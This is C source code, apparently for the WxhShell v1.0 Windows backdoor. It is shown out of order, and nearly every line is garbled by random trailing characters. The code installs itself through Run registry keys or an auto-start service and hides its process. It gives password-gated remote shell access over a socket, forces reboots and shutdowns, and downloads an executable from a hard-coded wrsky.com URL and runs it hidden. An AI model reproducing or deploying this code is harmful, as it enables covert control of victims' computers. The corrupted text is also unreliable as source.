  case 'd': { 1pd 9s8CA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8h*t55  
    if(Boot(SHUTDOWN)) E)C.eW /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'NX~<m  
    else { f'1(y\_fb  
    closesocket(wsh); c*N50%=4  
    ExitThread(0); Iq)(UfaSve  
    } ctp?y  
    break; {/-y>sm  
    } j_!bT!8  
  // 获取shell }TSgAwsbC  
  case 's': { [dl+:P:zc  
    CmdShell(wsh); Ee{`Y0  
    closesocket(wsh); i~9?:plS  
    ExitThread(0); }P#Vsqe V  
    break; J4YT)-  
  } *R5`.j =  
  // 退出 {bT9VZ>  
  case 'x': { X6Un;UL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p`d XqW  
    CloseIt(wsh); 2Oyy`k  
    break; @'*eC}\E  
    } 'z)hG#{I  
  // 离开 LyGUvi  
  case 'q': { 8QT<M]N%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); St6aYK  
    closesocket(wsh); ^uia`sOP4  
    WSACleanup(); haCKv   
    exit(1); 34z_+  
    break; & B}Lo  
        } $50\" mo~z  
  } BYS lKTh  
  } :-)GNf yGz  
88 {1mA,v  
  // 提示信息 4AQ[igTDP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XlVc\?  
} "l TZ|k^  
  } &M[MEO`t8  
F$i$a b  
  return; Zb."*zL  
} \SOeTn+  
S`=n&'  
// shell模块句柄 hd5$yU5JQ  
int CmdShell(SOCKET sock) IhE9snJ[  
{ \]I  
STARTUPINFO si; 8"x9#kyU<3  
ZeroMemory(&si,sizeof(si)); (_K_`5d;QI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Tp?-* K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kae2 73"  
PROCESS_INFORMATION ProcessInfo; ?mMW*ico  
char cmdline[]="cmd"; vs +QbI6>-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -j&Vtr  
  return 0; .Rvf/-e  
} }S */b1  
p;0 PxL=  
// 自身启动模式 &iNS?1a%f=  
int StartFromService(void) gXt O*Rfqk  
{ h$pk<<  
typedef struct ys%zlbj[  
{ !4t`Hv?'  
  DWORD ExitStatus; vG~+r<:  
  DWORD PebBaseAddress; MWs~#ReZ  
  DWORD AffinityMask; hk_g2g  
  DWORD BasePriority; oSY7IIf%L  
  ULONG UniqueProcessId; -(9O6)Rs$  
  ULONG InheritedFromUniqueProcessId; +"8}R~`!  
}   PROCESS_BASIC_INFORMATION; yAG+] r  
C',6%6P  
PROCNTQSIP NtQueryInformationProcess; [/cIUQ  
.xl.P7@JJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m; o4Fu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H@D;e  
oxfF`L"  
  HANDLE             hProcess; |n`PESf_  
  PROCESS_BASIC_INFORMATION pbi; ,hWcytzEw  
hm\\'_u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +AoP{ x$Ia  
  if(NULL == hInst ) return 0; ,[X_]e;  
99u/fkL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1`JB)9P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [jrqzB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \}#@9=  
jXp. qK\"  
  if (!NtQueryInformationProcess) return 0; .'j29 6[u  
 $:EG%jl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Uw)=WImz[  
  if(!hProcess) return 0; CxDcY  
a9l8{ 3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k!3 cq)  
SkHYXe"]  
  CloseHandle(hProcess); Yw)Fbt^  
dJi|D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Sz_mr  
if(hProcess==NULL) return 0; aQUGNa0+d  
?pG/m%[  
HMODULE hMod; |4mVT&63(  
char procName[255]; | -+zofx  
unsigned long cbNeeded; f%XJ;y\,9H  
S^N {wZo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x[X`a  
z%sy$^v@vD  
  CloseHandle(hProcess); ^DB{qU  
xu\eXx6H  
if(strstr(procName,"services")) return 1; // 以服务启动 E\M-k\cSj  
66\jV6eH7L  
  return 0; // 注册表启动 e2w&&B-  
} UyiJU~r1  
h@1!T  
// 主模块 q \O Ou  
int StartWxhshell(LPSTR lpCmdLine) "2{%JFE  
{ 2K{6iw"h  
  SOCKET wsl; ~OypE4./1  
BOOL val=TRUE; h<x4YB5Mj  
  int port=0; wC CV2tk  
  struct sockaddr_in door; FTf<c0  
P^)q=A8Z#  
  if(wscfg.ws_autoins) Install(); jc:s` 4  
\/5RL@X}  
port=atoi(lpCmdLine); |+}G|hx@9  
lzhqcL"  
if(port<=0) port=wscfg.ws_port; F9flSeN  
wtH~-xSB|  
  WSADATA data; XP3x Jm3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p|[B =.c{  
W Zn.;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <1"+,}'x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ig+4S[L~n  
  door.sin_family = AF_INET; [[+ pMI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +TJ EG?o  
  door.sin_port = htons(port); GP a`e  
PaWr[ye  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T!|=El>  
closesocket(wsl); KbW9s,:p  
return 1; ST dNM\+  
} ~Z)/RT/  
GTl xq%?b  
  if(listen(wsl,2) == INVALID_SOCKET) { w$fJ4+  
closesocket(wsl); zpjqEEY;  
return 1; {38bv. 3'  
} o{WyQ&2N  
  Wxhshell(wsl); n<7q`tM#  
  WSACleanup(); v)X\GmW7w  
7cTk@Gq  
return 0; DAO]uh{6  
`{Tk@A_yd  
} z=Cr7-  
kcuzB+  
// 以NT服务方式启动 L{fFC%|l2L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kg97S  
{ kHK0(bYK  
DWORD   status = 0; n/4i|-^  
  DWORD   specificError = 0xfffffff; r@G#[.*A>  
}6u2*(TmD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R.9V,R5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f!_ ctp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rl~T$ Ey  
  serviceStatus.dwWin32ExitCode     = 0; fS&6  
  serviceStatus.dwServiceSpecificExitCode = 0; s>n(`?@L  
  serviceStatus.dwCheckPoint       = 0;  C})'\1O%  
  serviceStatus.dwWaitHint       = 0; K }$&:nao  
U9hS<}<Ki  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u9qMqeF  
  if (hServiceStatusHandle==0) return; LW)H"6v  
/0MDISQy9  
status = GetLastError(); cC{"<fYF  
  if (status!=NO_ERROR) yHo[{,4itA  
{ "Zv~QwC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l@Z6do  
    serviceStatus.dwCheckPoint       = 0; @~td`Z?1 y  
    serviceStatus.dwWaitHint       = 0; *iA4:EIP  
    serviceStatus.dwWin32ExitCode     = status; LPd\-S_rsP  
    serviceStatus.dwServiceSpecificExitCode = specificError; EbNd=Z'J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BqK(DH^9N  
    return; l`9t}  
  } ;E^K.6  
s@4nWe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a?h*eAAc.  
  serviceStatus.dwCheckPoint       = 0; W!Gdf^Yy<  
  serviceStatus.dwWaitHint       = 0; #]WqM1u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !A3-0zN!  
} 5Qwh(C^H  
AM"jX"F9/  
// 处理NT服务事件,比如:启动、停止 ENVk{QE!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #18FA|   
{ d~J-|yyT  
switch(fdwControl) Hy:V`>  
{ YIhm$A"z0"  
case SERVICE_CONTROL_STOP: +EXJ\wy  
  serviceStatus.dwWin32ExitCode = 0; Y*oDO$6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uP $ Cj  
  serviceStatus.dwCheckPoint   = 0; zw<p74DH  
  serviceStatus.dwWaitHint     = 0; . 5y"38e  
  { ZzGahtx)Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y m,H@~  
  } iRo.RU8>  
  return; ;h=*!7:  
case SERVICE_CONTROL_PAUSE: k*rZ*sSp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `>(W"^  
  break; )m3Uar  
case SERVICE_CONTROL_CONTINUE: Oc].@Jy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Df =dt  
  break; YV% 5y1 i  
case SERVICE_CONTROL_INTERROGATE: `$LWmm#  
  break; 6DIZ@oi  
}; g6t"mkMY L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /&#XhrT  
} lA(Q@yEW  
/'2O.d0}.  
// 标准应用程序主函数 ) /vhclkb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8F(h*e_?  
{ C;+(Zp  
@Hb'8F  
// 获取操作系统版本 fc=Patg  
OsIsNt=GetOsVer(); ,fDEz9-,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b3-e R5U/  
2aZw[7s  
  // 从命令行安装 Di_2Plo)4  
  if(strpbrk(lpCmdLine,"iI")) Install(); l ASL8O&\  
n]_[NR) i  
  // 下载执行文件 UV 4>N  
if(wscfg.ws_downexe) { RgdysyB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  YpAg  
  WinExec(wscfg.ws_filenam,SW_HIDE); |'ln?D:&  
} n6d9 \  
V"o7jsFH6n  
if(!OsIsNt) { 7\z ZpPDV  
// 如果时win9x,隐藏进程并且设置为注册表启动 c\6+=\  
HideProc(); b i y4 d  
StartWxhshell(lpCmdLine); 5RH2"*8T  
} k#Of]mXXz  
else s`j~-P  
  if(StartFromService()) 'TC/vnM  
  // 以服务方式启动 .MW@;  
  StartServiceCtrlDispatcher(DispatchTable); &;,,H< p  
else 1(Y7mM8\  
  // 普通方式启动 m"\:o  
  StartWxhshell(lpCmdLine); .o1^Oh  
B&+`)E{KB  
return 0; Yb i%od&  
} OJN2z  
5 8-e^.  
f %lD08Sl  
Sd/?&  
=========================================== EpS(o>'  
L9Z;:``p  
#*$P'r  
SVlua@]ChU  
U-k+9f 0  
'bGX-C  
" \;-fi.Hrf$  
9 3+"D`  
#include <stdio.h> 4nH*Ui!T  
#include <string.h> ^_t%kmL`  
#include <windows.h> "'8KV\/D  
#include <winsock2.h> J89Dul l  
#include <winsvc.h> zf4Ec-)  
#include <urlmon.h> (Rk_-9_E.  
i&njqK!wS  
#pragma comment (lib, "Ws2_32.lib") SvN9aD1  
#pragma comment (lib, "urlmon.lib") wiaX&-c]8  
Q9d`zR]  
#define MAX_USER   100 // 最大客户端连接数 pME{jD  
#define BUF_SOCK   200 // sock buffer n9pN6,o+  
#define KEY_BUFF   255 // 输入 buffer Q%/<ZC.Mz6  
)&era ` e[  
#define REBOOT     0   // 重启 LA_3=@2.H  
#define SHUTDOWN   1   // 关机 6{[pou&  
T5Q{{@Q  
#define DEF_PORT   5000 // 监听端口 gH2,\z`[4  
(>mI'!4d  
#define REG_LEN     16   // 注册表键长度 t E` cau  
#define SVC_LEN     80   // NT服务名长度 :Ih|en^w  
y@j,a  
// 从dll定义API ) xbO6V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tu{h<Zy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ve ~05mg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M3p   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hS[ yNwD  
t1VH doNN  
// wxhshell配置信息 2^t#6XBk/  
struct WSCFG { +(xeT+J  
  int ws_port;         // 监听端口 vA$o~?a]/  
  char ws_passstr[REG_LEN]; // 口令 7'wS\/e4a  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qr1e@ =B  
  char ws_regname[REG_LEN]; // 注册表键名 ZpUCfS)|&  
  char ws_svcname[REG_LEN]; // 服务名 j8|g!>Nv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =fm]Dl9h*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ggh.dZI4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MYBx&]!\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yCJFo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H$af /^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =#mTfJ   
kOvDl!^  
};  tvXW  
#j@71]GI  
// default Wxhshell configuration V{|}}b?w?  
struct WSCFG wscfg={DEF_PORT, 2tROT][J%  
    "xuhuanlingzhe", K"<PGOF  
    1, c}3W:}lW  
    "Wxhshell", ;"O&X<BX-  
    "Wxhshell", liR ?  
            "WxhShell Service", Q'k\8'x  
    "Wrsky Windows CmdShell Service", b 1&i#I?{  
    "Please Input Your Password: ", [2ax>Yk$  
  1, &V|>dLT>A  
  "http://www.wrsky.com/wxhshell.exe", MNH1D! }  
  "Wxhshell.exe" Y(\T- bI  
    }; )BfT7{WN  
^kS T  
// 消息定义模块 .(J?a"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tBTTCwNT%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2_Wg!bq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 64-#}3zL  
char *msg_ws_ext="\n\rExit."; xEuN   
char *msg_ws_end="\n\rQuit."; T#pk]c6Q  
char *msg_ws_boot="\n\rReboot..."; `%3 /   
char *msg_ws_poff="\n\rShutdown..."; m/NdJMoN=  
char *msg_ws_down="\n\rSave to "; \A `hj~  
OMwsbp&  
char *msg_ws_err="\n\rErr!"; %4 \OPw&  
char *msg_ws_ok="\n\rOK!"; SWp1|.=Sm  
C"lJl k9g^  
char ExeFile[MAX_PATH]; 3~e8bcb  
int nUser = 0; @"T"7c?Cv  
HANDLE handles[MAX_USER]; K78rg/`  
int OsIsNt; < j$#9QQ1  
y*{Zbz#{  
SERVICE_STATUS       serviceStatus; m]*Bx%-1c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u*  
3]-_q"Co4f  
// 函数声明 |*RYq2y  
int Install(void); kt4d; 4n  
int Uninstall(void); x.1-)\  
int DownloadFile(char *sURL, SOCKET wsh); h;5LgAY|v  
int Boot(int flag); :S$l"wrh\  
void HideProc(void); iqnJ~g  
int GetOsVer(void); "U. ^lkN  
int Wxhshell(SOCKET wsl); {_RWVVVe  
void TalkWithClient(void *cs); VL9-NfeqR  
int CmdShell(SOCKET sock); LJX-AO.4  
int StartFromService(void); XPB9~::  
int StartWxhshell(LPSTR lpCmdLine); iut`7  
#k3t3az2{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t6c<kIQ:-O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v){ .Z^_C  
jkiTj~WE-  
// 数据结构和表定义 I8OD$`~*U6  
SERVICE_TABLE_ENTRY DispatchTable[] = uS&| "*pR  
{ C0=9K@FCb  
{wscfg.ws_svcname, NTServiceMain}, 5unG#szq  
{NULL, NULL} g~UUP4<$"  
}; 4h6k`ie!$  
5 ,0d  
// 自我安装  s95vK7I  
int Install(void) {b]aC  
{ >hY" 3  
  char svExeFile[MAX_PATH]; }AZc8o-  
  HKEY key; 9;F bnp'  
  strcpy(svExeFile,ExeFile); TwyM\9l7  
'gQidf  
// 如果是win9x系统,修改注册表设为自启动 EL3|u64GO  
if(!OsIsNt) { p2PY@d}}.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cNzt%MjP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (]/9-\6(#  
  RegCloseKey(key); bbxLBD'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .I3?7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c62=*] ,  
  RegCloseKey(key); a:~@CUD >I  
  return 0; _w@qr\4i=  
    } `ovtHl3Q  
  } $ _8g8r}  
} K; FW  
else { 5 =(c%  
M Jj4Hd  
// 如果是NT以上系统,安装为系统服务 =O|c-k,f@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K}[>T(0E  
if (schSCManager!=0) }U@m*dEG  
{ OT %nrzP  
  SC_HANDLE schService = CreateService U=bEA1*@0  
  ( G ;?qWB,  
  schSCManager, ry};m_BY  
  wscfg.ws_svcname, v+6@ cC  
  wscfg.ws_svcdisp, N__H*yP  
  SERVICE_ALL_ACCESS, 0"pVT%b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _F p>F  
  SERVICE_AUTO_START, OPpjuIRv  
  SERVICE_ERROR_NORMAL, n{*e 9Aw  
  svExeFile, F2(q>#<_  
  NULL, v;{{ y-  
  NULL, ^"8G`B$r  
  NULL, A5#y?Aq  
  NULL, v"+k~:t*  
  NULL XwM611  
  ); }~Q"s2  
  if (schService!=0) 4([.xT  
  { HEK-L)S. *  
  CloseServiceHandle(schService); l? #xAZx&_  
  CloseServiceHandle(schSCManager); '+<(;2Z vL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g|PC$p-z+  
  strcat(svExeFile,wscfg.ws_svcname); Kr  L>FI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 31Cq22"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7#;vG>]  
  RegCloseKey(key); SEKN|YQV/t  
  return 0; fbZibcQ%k  
    } OH<?DcfeL  
  } T0j2a &Pv  
  CloseServiceHandle(schSCManager); 3L-^<'~-k;  
} yh;Y,;4  
} Z.&\=qiY  
x@P{l&:>  
return 1; 6FfOH<\z6i  
} }:iBx  
NTs;FX~g[  
// 自我卸载 nbofYI$rd&  
int Uninstall(void) t$^l<ppQ  
{ TOl}U  
  HKEY key; 0Flu\w/+P  
x )5V.q  
if(!OsIsNt) { j{#Wn !,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B7Ntk MK  
  RegDeleteValue(key,wscfg.ws_regname); lp&!lb`  
  RegCloseKey(key); jyW[m,#(go  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1S%k  
  RegDeleteValue(key,wscfg.ws_regname); 8uG0^h}  
  RegCloseKey(key); _X5_ez^/=  
  return 0; c yQ(fIYl  
  } +R$?2  
} |oKu=/[K  
} ]XUl@Y.   
else { A,i()R'I  
y93k_iq$S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $7gB_o$zz  
if (schSCManager!=0) K\=8eg93Z  
{ H9"=  p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oC dGQ7G}  
  if (schService!=0) \4~AI=aw,T  
  { HR{s&ho  
  if(DeleteService(schService)!=0) { 6o}V@UzqV  
  CloseServiceHandle(schService); #0 y <a:}R  
  CloseServiceHandle(schSCManager); c cG['7  
  return 0; f>iuHR*EXB  
  } 7s>a2  
  CloseServiceHandle(schService); r7z6___  
  } G\H q/4  
  CloseServiceHandle(schSCManager); vP]9;mQ  
} 2/Nq'  
} 3l:XhLOj  
6OUvrfC(H  
return 1; mVf.sA8  
} mX_)b>iW  
1 tfYsg=O  
// 从指定url下载文件 Ygj6(2  
int DownloadFile(char *sURL, SOCKET wsh) 3A0_C?E  
{ fp !:u  
  HRESULT hr; L=A\ J^%  
char seps[]= "/"; =3+L#P=i9  
char *token; l:e9y$_)  
char *file; q(9%^cV6  
char myURL[MAX_PATH]; 4 eh=f!(+  
char myFILE[MAX_PATH]; XoL[ r67Z  
-ut=8(6&  
strcpy(myURL,sURL); D u_$C[  
  token=strtok(myURL,seps); Bhuw(KeB  
  while(token!=NULL) 8fO8Dob]\Y  
  { EZAm)5:]A  
    file=token; gA +:CgQ  
  token=strtok(NULL,seps); JLUms  
  } vo;5f[>4i  
V9jFjc?  
GetCurrentDirectory(MAX_PATH,myFILE); >ZCo 8aK  
strcat(myFILE, "\\"); b.Su@ay@(^  
strcat(myFILE, file); m#ad6 \  
  send(wsh,myFILE,strlen(myFILE),0); S:97B\ u`  
send(wsh,"...",3,0); /RF%1!M K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NG-`ag`s  
  if(hr==S_OK) ' o=E!?  
return 0; ~= 9V v  
else gE=Wcb!  
return 1; /#\?1)jCK  
yV_ L/,6}D  
} `1,eX)S  
 HD|sr{Z%  
// 系统电源模块 F?2FITi_V  
int Boot(int flag) qRUCnCZs  
{ 'wE\{1~_[+  
  HANDLE hToken; ]L]T>~X`  
  TOKEN_PRIVILEGES tkp; |>JmS  
24|<<Xn  
  if(OsIsNt) { ; $6x=uZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5`yPT>*#m>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d<Dn9,G  
    tkp.PrivilegeCount = 1; L w*1 .~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <j"O%y.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :|($,3*  
if(flag==REBOOT) { p2a?9R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g^n;IE$B  
  return 0; :~r#LRgc  
} U,ELqi\  
else { +9~ZA3DiP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Z$jBL  
  return 0; 5:_~mlfi  
} "o<D;lO  
  } ,E]|\_]  
  else { <[FS%2,0mb  
if(flag==REBOOT) { [wIKK/O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?:JdRnH\  
  return 0; yI *M[0  
} e18T(g_i  
else { W&LBh%"g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZnQ27FcW  
  return 0; %IPyCEJD  
} 3liq9P_  
} a(g$ d2H  
|'@V<^GR  
return 1; K.r!?cfv  
} mR6E]TuM  
P69>gBZYD  
// win9x进程隐藏模块 b/G8M r  
void HideProc(void) ;]"n?uo  
{ ;\q<zO@x  
iPNd!_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L c{!FG>  
  if ( hKernel != NULL ) zo87^y5?G  
  { .0KOnLdK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I(y`)$}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0A@-9w=u  
    FreeLibrary(hKernel); "1\(ZKG8^Q  
  } =^ gvZ| ]  
@V7;TJk  
return; "&| lO|  
} *SXSF95  
8[f8k 3g  
// 获取操作系统版本 |#!eMJ&0  
int GetOsVer(void) !HbqbS22  
{ `7F@6n   
  OSVERSIONINFO winfo; +i2YX7Of  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {W]bU{%.  
  GetVersionEx(&winfo); 7d%A1}Bq$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '=-s1c@^  
  return 1; WNl&v]   
  else 77*v-8c  
  return 0; ,K`E&hS  
} Hs.6;|0%  
Ixyvn#ux )  
// 客户端句柄模块 ;sm"\.jF  
int Wxhshell(SOCKET wsl) Dg1kbO=2  
{ 5+J 64_  
  SOCKET wsh; t*5z1T?  
  struct sockaddr_in client; @G7w(>_T3  
  DWORD myID; QZ6[*_Z6  
Ax :3}  
  while(nUser<MAX_USER) 4o)(d=q  
{ C+ZQB)gn  
  int nSize=sizeof(client); 'nC3:U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wE-Ji<1HJ  
  if(wsh==INVALID_SOCKET) return 1; m*Q[lr=  
Q@ykQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L?AM&w-cg9  
if(handles[nUser]==0) -ryDsq  
  closesocket(wsh); Ty g$`\#   
else /h1dm,  
  nUser++; 8Pl+yiB/o`  
  } w++B-_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pjaiAe!k  
:<'i-Ur8  
  return 0; A73V6"  
} GMVC&^  
byEvc[/>Ys  
// 关闭 socket c13vEn!c  
void CloseIt(SOCKET wsh) C.b,]7i  
{  Dlqn~  
closesocket(wsh); GhSL%y  
nUser--; !C9ps]6  
ExitThread(0); rTWh(8T  
} YlZYS'_  
7F>gj  
// 客户端请求句柄 H9oXZSm  
void TalkWithClient(void *cs) #i}#jMT  
{ i}v}K'`  
Wq=ZU\Y  
  SOCKET wsh=(SOCKET)cs; ~0' _K1(H  
  char pwd[SVC_LEN]; +1E?He:iQ  
  char cmd[KEY_BUFF]; =DeHxPv}f  
char chr[1]; jsZiARTZRl  
int i,j; Q#yu(  
Ba"^K d`  
  while (nUser < MAX_USER) { ,(;p(#F>  
i?1js! 8  
if(wscfg.ws_passstr) { GFASF,+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); doxdRYKL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c%xED%X9  
  //ZeroMemory(pwd,KEY_BUFF); }mtC6G41Q  
      i=0; Q2_WH)J 3  
  while(i<SVC_LEN) { e]dPF[?7  
twYB=68  
  // 设置超时 o=QRgdPD  
  fd_set FdRead; k"3Z@Px:  
  struct timeval TimeOut; "/ a*[_sV  
  FD_ZERO(&FdRead); L V[66<T  
  FD_SET(wsh,&FdRead); 4U LJtM3  
  TimeOut.tv_sec=8; ?9wFV/  
  TimeOut.tv_usec=0; ! 4qps$p{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p[af[!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :>AW@SoTp  
O]$*EiO\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6ywnyh  
  pwd=chr[0]; onWYT}c{  
  if(chr[0]==0xd || chr[0]==0xa) { rC1qGzg\a  
  pwd=0; zezofW]a  
  break; a`[?,W:q  
  } XX;%:?n  
  i++; K1yM'6 Zw  
    } jtJU 5Q  
FiH!) 6T  
  // 如果是非法用户,关闭 socket U4/$4.'NQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7E]l=Z`x  
} }e6:&`a xD  
T{Q&}`D)r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mQ)l`w Gh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jP]'gQ!-w  
B)iJH  
while(1) {  vpMv  
q3:' 69  
  ZeroMemory(cmd,KEY_BUFF); 247>+:7z  
8gdOQ=a  
      // 自动支持客户端 telnet标准    EZFWxR/  
  j=0; ld6@&34  
  while(j<KEY_BUFF) { 8t"DQ Y-R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D[?|\?  
  cmd[j]=chr[0]; F3'G9Xf8Q=  
  if(chr[0]==0xa || chr[0]==0xd) { {,X(fJ  
  cmd[j]=0; %stktVDAP  
  break; E{B<}n|}&  
  } 7]Yd-vA  
  j++; oPV"JGa/B4  
    } _!D$Aj  
]QQ"7_+  
  // 下载文件 P&VI2k  
  if(strstr(cmd,"http://")) { W525:h52{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "/=x u|  
  if(DownloadFile(cmd,wsh)) o%iTYR :x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#M|3h;q9+  
  else k[m-"I%ZFX  
